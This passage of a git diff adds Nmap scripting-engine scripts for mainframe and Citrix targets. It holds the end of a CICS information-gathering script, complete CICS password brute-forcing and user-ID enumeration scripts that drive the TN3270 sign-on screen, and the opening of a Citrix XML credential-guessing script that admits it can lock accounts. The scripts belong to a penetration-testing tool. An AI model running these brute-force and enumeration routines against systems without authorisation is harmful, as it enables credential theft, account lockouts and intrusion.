+ count = count + 1
+ end
+ if count == 6 then
+ return false, msg
+ end
+ stdnse.debug(2,"Sending CESF (CICS Default Sign-off)")
+ tn:send_cursor('CESF')
+ tn:get_all_data()
+ if tn:isClear() then
+ tn:get_all_data(1000)
+ end
+ tn:get_screen_debug(2)
+
+ if not tn:find('off is complete.') then
+ return false, 'Unable to get to CICS. Try --script-args cics-info.commands="logon applid(<applid>)"'
+ end
+
+
+ if user and pass then -- We're doing authenticated CICS testing now baby!
+ stdnse.verbose(2,'Logging in with %s / %s for auth testing', user, pass)
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ tn:send_cursor('CESN')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ local fields = tn:writeable() -- Get the writeable field areas
+ local user_loc = {fields[1][1],user} -- This is the 'UserID:' field
+ local pass_loc = {fields[3][1],pass} -- This is the 'Password:' field ([2] is a group ID)
+ stdnse.verbose('Trying CICS: %s : %s', user, pass)
+ tn:send_locations({user_loc,pass_loc})
+ tn:get_all_data()
+ stdnse.debug(2,"Screen Received for User ID: %s / %s", user, pass)
+ tn:get_screen_debug(2)
+ count = 1
+ while not tn:find('DFHCE3549') and count < 6 do
+ tn:get_all_data(1000) -- loop for 6 seconds
+ tn:get_screen_debug(2)
+ count = count + 1
+ end
+ if not tn:find('DFHCE3549') then
+ msg = 'Unable to access CICS with User: '..user..' / Pass: '..pass
+ return false, msg
+ end
+ end
+ -- By now it's time to start trying to gather information
+ tn:send_clear()
+ tn:get_all_data()
+ tn:send_cursor('CESN')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+
+ results["Security"] = tn:find('DFHCE3547') and "Enabled" or "Disabled"
+ stdnse.debug(2,"Sending F3")
+ tn:send_pf(3)
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.debug(2,"Sending 'Clear Screen'")
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.verbose(2,"Sending 'CEMT INQUIRE SYSTEM'")
+ tn:send_cursor('CEMT INQUIRE SYSTEM')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ if tn:find('DFHAC2002') then
+ results["Error"] = 'CEMT Access Denied.'
+ return true, results
+ elseif tn:find('NOT AUTHORIZED') then
+ results["System"] = "CEMT 'INQUIRE SYSTEM' Access Denied."
+ else
+ local sysresults = stdnse.output_table()
+ local l1, l2 = tn:find('Oslevel')
+ local oslevel = tn:get_screen_raw():sub(l2+2,l2+7)
+ l1, l2 = tn:find('Cicstslevel')
+ local cicstslevel = tn:get_screen_raw():sub(l2+2,l2+7)
+ l1, l2 = tn:find('Dfltuser')
+ local Dfltuser = tn:get_screen_raw():sub(l2+2,l2+10)
+ local Dfltuser_len = Dfltuser:find(')')
+ l1, l2 = tn:find('Db2conn')
+ local Db2conn = tn:get_screen_raw():sub(l2+2,l2+10)
+ local Db2conn_len = Db2conn:find(')')
+ l1, l2 = tn:find('Mqconn')
+ local Mqconn = tn:get_screen_raw():sub(l2+2,l2+10)
+ local Mqconn_len = Mqconn:find(')')
+ l1, l2 = tn:find('SYSID')
+ local SYSID = tn:get_screen_raw():sub(l2+2,l2+10)
+ local SYSID_len = SYSID:find('\00')
+ l1, l2 = tn:find('APPLID')
+ local APPLID = tn:get_screen_raw():sub(l2+2,l2+10)
+ local APPLID_len = APPLID:find('\00')
+ sysresults["z/OS Version"] = ("%s.%s.%s"):format( oslevel:sub(1,2),oslevel:sub(3,4),oslevel:sub(5,6) )
+ sysresults["CICS Version"] = ("%s.%s.%s"):format( cicstslevel:sub(1,2),cicstslevel:sub(3,4),cicstslevel:sub(5,6) )
+ sysresults["System ID"] = SYSID:sub(1,SYSID_len-1)
+ sysresults["Application ID"] = APPLID:sub(1,APPLID_len-1)
+ sysresults["Default User"] = Dfltuser:sub(1,Dfltuser_len-1)
+ if Db2conn_len > 1 then
+ sysresults["DB2 Connection"] = Db2conn:sub(1,Db2conn_len-1)
+ end
+ if Mqconn_len > 1 then
+ sysresults["MQ Connection"] = Mqconn:sub(1,Mqconn_len-1)
+ end
+ results["System"] = sysresults
+ end -- Done with INQUIRE SYSTEM
+
+ stdnse.debug(2,"Sending F3")
+ tn:send_pf(3)
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.debug(2,"Sending 'Clear Screen'")
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.verbose(2,"Sending 'CEMT INQUIRE DSNAME'")
+ tn:send_cursor('CEMT INQUIRE DSNAME')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+
+ if tn:find('NOT AUTHORIZED') then
+ results["Datasets"] = "CEMT 'INQUIRE DSNAME' Access Denied."
+ else
+ local datasets = {}
+ while more do
+ more = false
+ for line in tn:get_screen():gmatch("[^\r\n]+") do
+ if line:find('Dsn') then
+ table.insert(datasets,line:sub(line:find('%(')+1, line:find(')')-1):match( "(.-)%s*$" ))
+ if count >= 9 and line:find('+') then
+ more = true
+ count = 1
+ stdnse.debug(2,"Sending F11")
+ tn:send_pf(11)
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ else
+ count = count + 1
+ end
+ end
+ end
+ end
+ results["Datasets"] = datasets
+ end -- Done with DSNAME
+
+ stdnse.debug(2,"Sending F3")
+ tn:send_pf(3)
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.debug(2,"Sending 'Clear Screen'")
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.verbose(2,"Sending 'CEMT INQUIRE LIBRARY'")
+ tn:send_cursor('CEMT INQUIRE LIBRARY')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+
+ if tn:find('NOT AUTHORIZED') then
+ results["Libraries"] = "CEMT 'INQUIRE LIBRARY' Access Denied."
+ else
+ local libraries = {}
+ for line in tn:get_screen():gmatch("[^\r\n]+") do
+ if line:find('Dsname') then
+ table.insert(libraries,line:sub(line:find('%(')+1, line:find(')')-1):match( "(.-)%s*$" ))
+ end
+ end
+ results["Libraries"] = libraries
+ end -- Done with Library
+
+ stdnse.debug(2,"Sending F3")
+ tn:send_pf(3)
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.debug(2,"Sending 'Clear Screen'")
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.verbose(2,"Sending 'CEMT INQUIRE TASK'")
+ tn:send_cursor('CEMT INQUIRE TASK')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+
+ if tn:find('NOT AUTHORIZED') then
+ results["Users"] = "CEMT 'INQUIRE TASK' Access Denied."
+ else
+ count = 1
+ more = true
+ local users = {}
+ while more do
+ more = false
+ for line in tn:get_screen():gmatch("[^\r\n]+") do
+ if line:find('Use') then
+ table.insert(users,line:sub(line:find('Use')+4, line:find(')',line:find('Use'))-1):match( "(.-)%s*$" ))
+ if count >= 9 and line:find('+') then
+ more = true
+ count = 1
+ stdnse.debug(2,"Sending F11")
+ tn:send_pf(11)
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ else
+ count = count + 1
+ end
+ end
+ end
+ end
+ results["Users"] = users
+ end -- End of TASK
+
+ stdnse.debug(2,"Sending F3")
+ tn:send_pf(3)
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.debug(2,"Sending 'Clear Screen'")
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ stdnse.verbose(2,"Sending 'CEMT INQUIRE TRANSACTION(".. trans ..") en'")
+ tn:send_cursor('CEMT INQUIRE TRANSACTION('.. trans ..') en')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+
+ if tn:find('NOT AUTHORIZED') then
+ results["Transaction / Program"] = "CEMT 'INQUIRE TRANSACION' Access Denied."
+ else
+ local transactions = {}
+ count = 1
+ more = true
+ local tra, pro = ''
+ while more do
+ more = false
+ for line in tn:get_screen():gmatch("[^\r\n]+") do
+ if line:find('Tra%(') then
+ tra = line:sub(line:find('%(')+1,line:find(')')-1)
+ pro = line:sub(line:find('Pro%(')+4,line:find(')',line:find('Pro%('))-1)
+ table.insert(transactions,tra..' / '..pro)
+ if count >= 9 and line:find('+') then
+ more = true
+ count = 1
+ stdnse.debug(2,"Sending F11")
+ tn:send_pf(11)
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ else
+ count = count + 1
+ end
+ end
+ end
+ end
+ results["Transaction / Program"] = transactions
+ end -- Done with Transaction IDs
+ tn:disconnect()
+ return true, results
+end
+
+
+action = function(host, port)
+ local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') or 'cics'-- VTAM commands/macros to get to CICS
+ local username = stdnse.get_script_args(SCRIPT_NAME .. '.user') or nil
+ local password = stdnse.get_script_args(SCRIPT_NAME .. '.pass') or nil
+ if (username or password) and not (username and password) then
+ stdnse.verbose1("Both 'user' and 'pass' are required for CICS auth")
+ end
+ local CEMT = stdnse.get_script_args(SCRIPT_NAME .. '.cemt') or 'cemt' -- to supply a different transaction ID if they've changed it
+ local transaction = stdnse.get_script_args(SCRIPT_NAME .. '.trans') or '*'
+ local status, results = cics_info(host, port, commands, username, password, CEMT, transaction)
+ -- Report results. Only report an error if
+ -- script args were set or the service is definitely TN3270
+ if status or username or password or port.service == "tn3270" then
+ return results
+ end
+end
diff --git a/scripts/cics-user-brute.nse b/scripts/cics-user-brute.nse
new file mode 100644
index 0000000..768813e
--- /dev/null
+++ b/scripts/cics-user-brute.nse
@@ -0,0 +1,299 @@
+local nmap = require "nmap"
+local string = require "string"
+local stringaux = require "stringaux"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local tn3270 = require "tn3270"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+
+description = [[
+CICS User ID brute forcing script for the CESL login screen.
+]]
+
+---
+-- @args cics-user-brute.commands Commands in a semi-colon separated list needed
+-- to access CICS. Defaults to <code>CICS</code>.
+--
+-- @usage
+-- nmap --script=cics-user-brute -p 23 <targets>
+--
+-- nmap --script=cics-user-brute --script-args userdb=users.txt,
+-- cics-user-brute.commands="exit;logon applid(cics42)" -p 23 <targets>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 23/tcp open tn3270
+-- | cics-user-brute:
+-- | Accounts:
+-- | PLAGUE: Valid - CICS User ID
+-- |_ Statistics: Performed 31 guesses in 114 seconds, average tps: 0
+
+-- @changelog
+-- 2016-08-29 - v0.1 - created by Soldier of Fortran
+-- 2016-10-26 - v0.2 - Added RACF support
+-- 2017-01-23 - v0.3 - Rewrote script to use fields and skip enumeration to speed up testing
+-- 2019-02-01 - v0.4 - Disabled new TN3270E support
+
+author = "Philip Young aka Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+portrule = shortport.port_or_service({23,992}, "tn3270")
+
+--- Registers User IDs that no longer need to be tested
+--
+-- @param username to stop checking
+local function register_invalid( username )
+ if nmap.registry.cicsinvalid == nil then
+ nmap.registry.cicsinvalid = {}
+ end
+ stdnse.debug(2,"Registering %s", username)
+ nmap.registry.cicsinvalid[username] = true
+end
+
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ o.tn3270 = tn3270.Telnet:new(brute.new_socket())
+ o.tn3270:disable_tn3270e()
+ return o
+ end,
+ connect = function( self )
+ local status, err = self.tn3270:initiate(self.host,self.port)
+ self.tn3270:get_screen_debug(2)
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false
+ end
+ stdnse.debug(2,"Connect Successful")
+ return true
+ end,
+ disconnect = function( self )
+ self.tn3270:disconnect()
+ self.tn3270 = nil
+ return true
+ end,
+ login = function (self, user, pass)
+ local commands = self.options['key1']
+ local timeout = 300
+ local max_blank = 1
+ local loop = 1
+ local err
+ stdnse.debug(2,"Getting to CICS")
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(2,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ self.tn3270:send_cursor(run[i])
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ end
+ -- Are we at the logon transaction?
+ if not (self.tn3270:find('SIGN ON TO CICS') or self.tn3270:find("Signon to CICS")) then
+ -- We might be at some weird screen, lets try and exit it then clear it out
+ stdnse.debug(2,"Sending: F3")
+ self.tn3270:send_pf(3) -- send F3
+ self.tn3270:get_all_data()
+ stdnse.debug(2,"Clearing the Screen")
+ self.tn3270:send_clear()
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ stdnse.debug(2,"Sending 'CESL'")
+ self.tn3270:send_cursor('CESL')
+ self.tn3270:get_all_data()
+ -- Have we encoutered a slow system?
+ if self.tn3270:isClear() then
+ self.tn3270:get_all_data(1000)
+ end
+ self.tn3270:get_screen_debug(2)
+ end
+ -- At this point we MUST be at CESL to try accounts.
+ -- If we're not then we quit with an error
+ if not (self.tn3270:find('SIGN ON TO CICS') or self.tn3270:find("Signon to CICS")) then
+ local err = brute.Error:new( "Can't get to CESL")
+ err:setRetry( true )
+ return false, err
+ end
+
+ -- Ok we're good we're at CESL. Send the Userid and Password.
+ local fields = self.tn3270:writeable() -- Get the writeable field areas
+ local user_loc = {fields[2][1],user} -- This is the 'UserID:' field
+ local pass_loc = {fields[4][1],pass} -- This is the 'Password:' field ([2] is a group ID)
+ stdnse.verbose('[BRUTE] Trying CICS: ' .. user ..' : ' .. pass)
+ stdnse.debug(3,"[BRUTE] Location:" .. fields[2][1] .. " x " .. fields[4][1])
+ self.tn3270:send_locations({user_loc,pass_loc})
+ self.tn3270:get_all_data()
+ stdnse.debug(2,"Screen Received for User ID: %s/%s", user, pass)
+ self.tn3270:get_screen_debug(2)
+
+ local loop = 1
+ while loop < 300 and self.tn3270:find('DFHCE3520') do -- still at Enter UserID message?
+ stdnse.verbose('Trying CICS: ' .. user ..' : ' .. pass)
+ self.tn3270:send_locations({user_loc,pass_loc})
+ self.tn3270:get_all_data()
+ stdnse.debug(2,"Screen Received for User ID: %s/%s", user, pass)
+ self.tn3270:get_screen_debug(2)
+ loop = loop + 1 -- We don't want this to loop forever
+ end
+
+ if loop == 300 then
+ local err = brute.Error:new( "Error with UserID entry")
+ err:setRetry( true )
+ return false, err
+ end
+
+ -- Now check what we received if its valid or not
+ if self.tn3270:find('TSS7101E') or
+ self.tn3270:find('DFHCE3530') or
+ self.tn3270:find('DFHCE3532') then
+ -- Top Secret:
+ -- TSS7101E Password is Incorrect
+ -- RACF:
+ -- DFHCE3530/2 Your userid or password is invalid. Please retype both.
+ return false, brute.Error:new( "Incorrect password" )
+ elseif self.tn3270:find('TSS7145E') or
+ self.tn3270:find("TSS714[0-3]E") or
+ self.tn3270:find('TSS7160E') or
+ self.tn3270:find('TSS7120E') then
+ -- Top Secret:
+ -- TSS7140E Accessor ID Has Expired: No Longer Valid
+ -- TSS7141E Use of Accessor ID Suspended
+ -- TSS7142E Accessor ID Not Yet Available for Use - Still Inactive
+ -- TSS7143E Accessor ID Has Been Inactive Too Long
+ -- TSS7120E PASSWORD VIOLATION THRESHOLD EXCEEDED
+ -- TSS7145E ACCESSOR ID <acid> NOT DEFINED TO SECURITY
+ -- TSS7160E Facility <X> Not Authorized for Your Use
+ -- Store the invalid ID in the registry so we don't keep trying it with subsequent passwords
+ -- when using default brute library.
+ register_invalid(user)
+ return false, brute.Error:new( "User ID Not Able to Use CICS" )
+ elseif self.tn3270:find("DFHCE3549") or
+ self.tn3270:find('TSS7000I') or
+ self.tn3270:find('TSS7110E Password Has Expired. New Password Missing') or
+ self.tn3270:find('TSS7001I') then
+ stdnse.verbose("Valid CICS UserID / Password: " .. user .. "/" .. pass)
+ return true, creds.Account:new(user, pass, creds.State.VALID)
+ else
+ -- ok whoa, something happened, print the screen but don't store as valid
+ stdnse.verbose("Valid(?) user/pass with current output " .. user .. "/" .. pass .. "\n" .. self.tn3270:get_screen())
+ return false, brute.Error:new( "Incorrect password" )
+ end
+ return false, brute.Error:new("Something went wrong, we didn't get a proper response")
+ end
+}
+
+--- Tests the target to see if we can even get to CICS
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @param commands optional script-args of commands to use to get to CICS
+-- @return status true on success, false on failure
+
+local function cics_test( host, port, commands )
+ stdnse.verbose(2,"Checking for CICS Login Page")
+ local tn = tn3270.Telnet:new()
+ tn:disable_tn3270e()
+ local status, err = tn:initiate(host,port)
+ local cesl = false -- initially we're not at CICS
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false
+ end
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+ stdnse.debug(2,"Getting to CICS")
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(2,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ tn:send_cursor(run[i])
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ end
+ tn:get_all_data()
+ tn:get_screen_debug(2) -- for debug purposes
+ -- We should now be at CICS. Check if we're already at the logon screen
+ if tn:find('SIGN ON TO CICS') and tn:find("Signon to CICS") then
+ stdnse.verbose(2,"At CICS Login Transaction (CESL)")
+ tn:disconnect()
+ return true
+ end
+ -- Uh oh. We're not at the logon screen. Now we need to send:
+ -- * F3 to exit the CICS program
+ -- * CLEAR (a tn3270 command) to clear the screen.
+ -- (you need to clear before sending a transaction ID)
+ -- * a known default CICS transaction ID with predictable outcome
+ -- (CESF with 'Sign-off is complete.' as the result)
+ -- to confirm that we were in CICS. If so we return true
+ -- otherwise we return false
+ local count = 1
+ while not tn:isClear() and count < 6 do
+ -- some systems will just kick you off others are slow in responding
+ -- this loop continues to try getting out of whatever transaction 5 times. If it can't
+ -- then we probably weren't in CICS to begin with.
+ stdnse.debug(2,"Sending: F3")
+ tn:send_pf(3) -- send F3
+ tn:get_all_data()
+ stdnse.debug(2,"Clearing the Screen")
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ count = count + 1
+ end
+ if count == 5 then
+ return false, 'Could not get to CICS after 5 attempts. Is this even CICS?'
+ end
+ stdnse.debug(2,"Sending 'CESL'")
+ tn:send_cursor('CESL')
+ tn:get_all_data()
+ if tn:isClear() then
+ tn:get_all_data(1000)
+ end
+ tn:get_screen_debug(2)
+
+ if tn:find("Signon to CICS") then
+ stdnse.verbose(2,"At CICS Login Transaction (CESL)")
+ tn:disconnect()
+ return true
+ end
+ tn:disconnect()
+ return false, 'Could not get to CESL (CICS Logon Screen)'
+end
+
+-- Filter iterator for unpwdb
+-- IDs are limited to 8 alpha numeric and @, #, $ and can't start with a number
+-- pattern:
+-- ^%D = The first char must NOT be a digit
+-- [%w@#%$] = All letters including the special chars @, #, and $.
+local valid_name = function(x)
+ if nmap.registry.tsoinvalid and nmap.registry.tsoinvalid[x] then
+ return false
+ end
+ return (string.len(x) <= 8 and string.match(x,"^%D+[%w@#%$]"))
+end
+
+-- Checks string to see if it follows valid password limitations
+local valid_pass = function(x)
+ return (string.len(x) <= 8 )
+end
+
+action = function(host, port)
+ local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') or "cics"
+ local cicstst, err = cics_test(host, port, commands)
+ if cicstst then
+ local options = { key1 = commands }
+ local engine = brute.Engine:new(Driver, host, port, options)
+ stdnse.debug(2,"Starting CICS Brute Forcing")
+ engine:setUsernameIterator(unpwdb.filter_iterator(brute.usernames_iterator(),valid_name))
+ engine:setPasswordIterator(unpwdb.filter_iterator(brute.passwords_iterator(),valid_pass))
+ engine.options.script_name = SCRIPT_NAME
+ engine.options:setTitle("CICS User Accounts")
+ local status, result = engine:start()
+ return result
+ else
+ return err
+ end
+end
diff --git a/scripts/cics-user-enum.nse b/scripts/cics-user-enum.nse
new file mode 100644
index 0000000..4124e1c
--- /dev/null
+++ b/scripts/cics-user-enum.nse
@@ -0,0 +1,255 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local tn3270 = require "tn3270"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+local string = require "string"
+local stringaux = require "stringaux"
+
+description = [[
+CICS User ID enumeration script for the CESL/CESN Login screen.
+]]
+
+---
+-- @args idlist Path to list of transaction IDs.
+-- Defaults to the list of CICS transactions from IBM.
+-- @args cics-user-enum.commands Commands in a semi-colon separated list needed
+-- to access CICS. Defaults to <code>CICS</code>.
+-- @args cics-user-enum.transaction By default this script uses the <code>CESL</code> transaction.
+-- on some systems the transactio ID <code>CESN</code> is needed. Use this argument to change the
+-- logon transaction ID.
+--
+-- @usage
+-- nmap --script=cics-user-enum -p 23 <targets>
+--
+-- nmap --script=cics-user-enum --script-args userdb=users.txt,
+-- cics-user-enum.commands="exit;logon applid(cics42)" -p 23 <targets>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 23/tcp open tn3270
+-- | cics-user-enum:
+-- | Accounts:
+-- | PLAGUE: Valid - CICS User ID
+-- |_ Statistics: Performed 31 guesses in 114 seconds, average tps: 0
+--
+-- @changelog
+-- 2016-08-29 - v0.1 - created by Soldier of Fortran
+-- 2016-12-19 - v0.2 - Added RACF support
+-- 2019-02-01 - v0.3 - Disabled TN3270E support
+--
+-- @author Philip Young
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+
+author = "Philip Young aka Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+portrule = shortport.port_or_service({23,992}, "tn3270")
+
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ o.tn3270 = tn3270.Telnet:new()
+ o.tn3270:disable_tn3270e()
+ return o
+ end,
+ connect = function( self )
+ local status, err = self.tn3270:initiate(self.host,self.port)
+ self.tn3270:get_screen_debug(2)
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false
+ end
+ return true
+ end,
+ disconnect = function( self )
+ self.tn3270:disconnect()
+ self.tn3270 = nil
+ return true
+ end,
+ login = function (self, user, pass) -- pass is actually the UserID we want to try
+ local commands = self.options['commands']
+ local transaction = self.options['trn']
+ local timeout = 300
+ local max_blank = 1
+ local loop = 1
+ local err
+ stdnse.debug(2,"Getting to CICS")
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(1,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ self.tn3270:send_cursor(run[i])
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ end
+ -- Are we at the logon transaction?
+ if not (self.tn3270:find('SIGN ON TO CICS') and self.tn3270:find("Signon to CICS")) then
+ -- We might be at some weird screen, lets try and exit it then clear it out
+ stdnse.debug(2,"Sending: F3")
+ self.tn3270:send_pf(3) -- send F3
+ self.tn3270:get_all_data()
+ stdnse.debug(2,"Clearing the Screen")
+ self.tn3270:send_clear()
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ stdnse.debug(2,"Sending Transaction ID: %s", transaction)
+ self.tn3270:send_cursor(transaction)
+ self.tn3270:get_all_data()
+ -- Have we encoutered a slow system?
+ if self.tn3270:isClear() then
+ self.tn3270:get_all_data(1000)
+ end
+ self.tn3270:get_screen_debug(2)
+ end
+ -- At this point we MUST be at CESL/CESN to try accounts.
+ -- If we're not then we quit with an error
+ if not (self.tn3270:find('Type your userid and password')) then
+ local err = brute.Error:new( "Can't get to Transaction CESN")
+ err:setRetry( true )
+ return false, err
+ end
+
+ -- Ok we're good we're at CESL/CESN. Enter the USERID.
+ stdnse.verbose("Trying User ID: %s", pass)
+ self.tn3270:send_cursor(pass)
+ self.tn3270:get_all_data()
+ stdnse.debug(2,"Screen Received for User ID: %s", pass)
+ self.tn3270:get_screen_debug(2)
+ if self.tn3270:find('TSS7145E') or
+ self.tn3270:find('ACF01004') or
+ self.tn3270:find('DFHCE3530') then
+ -- known invalid userid messages
+ -- TopSecret: TSS7145E
+ -- ACF2: ACF01004
+ -- RACF: DFHCE3530
+ stdnse.debug("Invalid CICS User ID: %s", string.upper(pass))
+ return false, brute.Error:new( "Incorrect CICS User ID" )
+ elseif self.tn3270:find('TSS7102E') or
+ self.tn3270:find('ACF01012') or
+ self.tn3270:find('DFHCE3523') then
+ -- TopSecret: TSS7102E Password Missing
+ -- ACF2: ACF01012 PASSWORD NOT MATCHED
+ -- RACF: DFHCE3523 Please type your password.
+ stdnse.verbose("Valid CICS User ID: %s", string.upper(pass))
+ return true, creds.Account:new("CICS User", string.upper(pass), creds.State.VALID)
+ else
+ stdnse.verbose("Valid(?) CICS User ID: %s", string.upper(pass))
+ -- The user may be valid for another reason, lets store that reason.
+ stdnse.verbose(2,"User: " .. user .. " MSG:" .. self.tn3270:get_screen():sub(2,80))
+ return true, creds.Account:new("CICS User: ".. string.upper(pass),'Reason: ' .. self.tn3270:get_screen():sub(2,80), creds.State.VALID)
+ end
+
+ return false, brute.Error:new("Something went wrong, we didn't get a proper response")
+ end
+}
+
+--- Tests the target to see if we can even get to CICS
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @param commands optional script-args of commands to use to get to CICS
+-- @return status true on success, false on failure
+
+local function cics_test( host, port, commands, transaction )
+ stdnse.verbose(2,"Checking for CICS Login Page")
+ local tn = tn3270.Telnet:new()
+ tn:disable_tn3270e()
+ local status, err = tn:initiate(host,port)
+ local cesl = false -- initially we're not at CICS
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false
+ end
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+ stdnse.debug("Getting to CICS")
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(1,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ tn:send_cursor(run[i])
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ end
+ tn:get_all_data()
+ tn:get_screen_debug(2) -- for debug purposes
+ -- We should now be at CICS. Check if we're already at the logon screen
+ if tn:find('Type your userid and password') then
+ stdnse.verbose(2,"At CICS Login Transaction")
+ tn:disconnect()
+ return true
+ end
+ -- Uh oh. We're not at the logon screen. Now we need to send:
+ -- * F3 to exit the CICS program
+ -- * CLEAR (a tn3270 command) to clear the screen.
+ -- (you need to clear before sending a transaction ID)
+ -- * a known default CICS transaction ID with predictable outcome
+ -- (CESF with 'Sign-off is complete.' as the result)
+ -- to confirm that we were in CICS. If so we return true
+ -- otherwise we return false
+ local count = 1
+ while not tn:isClear() and count < 6 do
+ -- some systems will just kick you off others are slow in responding
+ -- this loop continues to try getting out of whatever transaction 5 times. If it can't
+ -- then we probably weren't in CICS to begin with.
+ stdnse.debug(2,"Sending: F3")
+ tn:send_pf(3) -- send F3
+ tn:get_all_data()
+ stdnse.debug(2,"Clearing the Screen")
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ count = count + 1
+ end
+ if count == 5 then
+ return false, 'Could not get to CICS after 5 attempts. Is this even CICS?'
+ end
+ stdnse.debug(2,"Sending %s", transaction)
+ tn:send_cursor(transaction)
+ tn:get_all_data()
+ if tn:isClear() then
+ tn:get_all_data(1000)
+ end
+ tn:get_screen_debug(2)
+
+ if tn:find('SIGN ON TO CICS') or tn:find("Signon to CICS") then
+ stdnse.verbose(2,"At CICS Login Transaction (%s)", transaction)
+ tn:disconnect()
+ return true
+ end
+ tn:disconnect()
+ return false, 'Could not get to '.. transaction ..' (CICS Logon Screen)'
+end
+
+-- Filter iterator for unpwdb
+-- IDs are limited to 8 alpha numeric and @, #, $ and can't start with a number
+-- pattern:
+-- ^%D = The first char must NOT be a digit
+-- [%w@#%$] = All letters including the special chars @, #, and $.
+local valid_name = function(x)
+ return (string.len(x) <= 8 and string.match(x,"^%D+[%w@#%$]"))
+end
+
+action = function(host, port)
+ local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') or "cics"
+ local transaction = stdnse.get_script_args(SCRIPT_NAME .. '.transaction') or "CESL"
+ local cicstst, err = cics_test(host, port, commands, transaction)
+ if cicstst then
+ local options = { commands = commands, trn = transaction }
+ stdnse.debug("Starting CICS User ID Enumeration")
+ local engine = brute.Engine:new(Driver, host, port, options)
+ engine.options.script_name = SCRIPT_NAME
+ engine:setPasswordIterator(unpwdb.filter_iterator(brute.usernames_iterator(),valid_name))
+ engine.options.passonly = true
+ engine.options:setTitle("CICS User ID")
+ local status, result = engine:start()
+ return result
+ else
+ return err
+ end
+end
diff --git a/scripts/citrix-brute-xml.nse b/scripts/citrix-brute-xml.nse
new file mode 100644
index 0000000..021fe9e
--- /dev/null
+++ b/scripts/citrix-brute-xml.nse
@@ -0,0 +1,163 @@
+local citrixxml = require "citrixxml"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+description = [[
+Attempts to guess valid credentials for the Citrix PN Web Agent XML
+Service. The XML service authenticates against the local Windows server
+or the Active Directory.
+
+This script makes no attempt of preventing account lockout. If the
+password list contains more passwords than the lockout-threshold
+accounts will be locked.
+]]
+
+---
+-- @usage
+-- nmap --script=citrix-brute-xml --script-args=userdb=<userdb>,passdb=<passdb>,ntdomain=<domain> -p 80,443,8080 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 8080/tcp open http-proxy syn-ack
+-- | citrix-brute-xml:
+-- | Joe:password => Must change password at next logon
+-- | Luke:summer => Login was successful
+-- |_ Jane:secret => Account is disabled
+
+-- Version 0.2
+
+-- Created 11/30/2009 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
